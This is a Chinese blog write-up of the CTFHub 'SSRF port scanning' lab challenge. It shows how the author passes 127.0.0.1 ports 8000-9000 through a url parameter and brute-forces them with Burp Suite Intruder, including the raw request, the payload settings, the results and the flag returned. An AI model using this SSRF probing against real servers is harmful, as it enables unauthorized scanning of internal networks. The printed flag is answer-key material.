CTFHub技能树 Web-SSRF 端口扫描

原创

Senimo_ 于 2021-07-01 15:27:08 发布 441 收藏

分类专栏： CTFHub WEB Writeup 文章标签： CTFHub技能树 CTF writeup SSRF 端口扫描

本文链接：https://blog.csdn.net/weixin_44037296/article/details/118387675

CTFHub技能树 Web-SSRF 端口扫描

hint：来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦

启动环境，打开页面为空白，查看URL：

```
http://challenge-bb4e4e995f03b249.sandbox.ctfhub.com:10800/?url=_
```

将 `127.0.0.1:8000-9000` 拼接入 GET 传参中，使用 BurpSuite 对端口进行爆破：

Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which p
details.

Attack type: Sniper

```
1  GET /?url=127.0.0.1:§8000§ HTTP/1.1
2  Host: challenge-bb4e4e995f03b249.sandbox.ctfhub.com:10800
3  Cache-Control: max-age=0
4  Upgrade-Insecure-Requests: 1
5  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, l
6  Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
7  Accept-Encoding: gzip, deflate
8  Accept-Language: zh-CN,zh;q=0.9
9  Cookie: UM_distinctid=17877965f991088-09f041fb1563f1-6718207c-13c680-17877965f9a11dc
10 Connection: close
11
12
```


设置如下 Payload：

Payload Sets

You can define one or more payload sets. The number of payload sets d
type can be customized in different ways.

Payload set: 1 Payload count: 1,001

Payload type: Numbers Request count: 1,001

Payload Options [Numbers]

This payload type generates numeric payloads within a given range and i

Number range

Type: Sequential Random

From: 8000

To: 9000

Step: 1

How many:

通过爆破结果的长度，获取到 flag：

7. Intruder attack of challenge-bb4e4e995f03b249.sandbox.ctfhub.co

Results Target Positions Payloads Resource Pool Options

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length
968	8967	503			798
974	8973	503			798
647	8646	200			360
4	8003	200			327
0		200			327

Result 647 | Intruder attack

Payload: 8646
Status: 200
Length: 360
Timer: 40

Request Response

Pretty Raw Render \n Actions

```
HTTP/1.1 200 OK
Server: openresty/1.15.8.2
Date: Thu, 01 Jul 2021 07:24:37 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.40
Tips: Port = [8000,9000)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *
Content-Length: 32

ctfhub{12b05fe24c5f360027ba4d9c}
```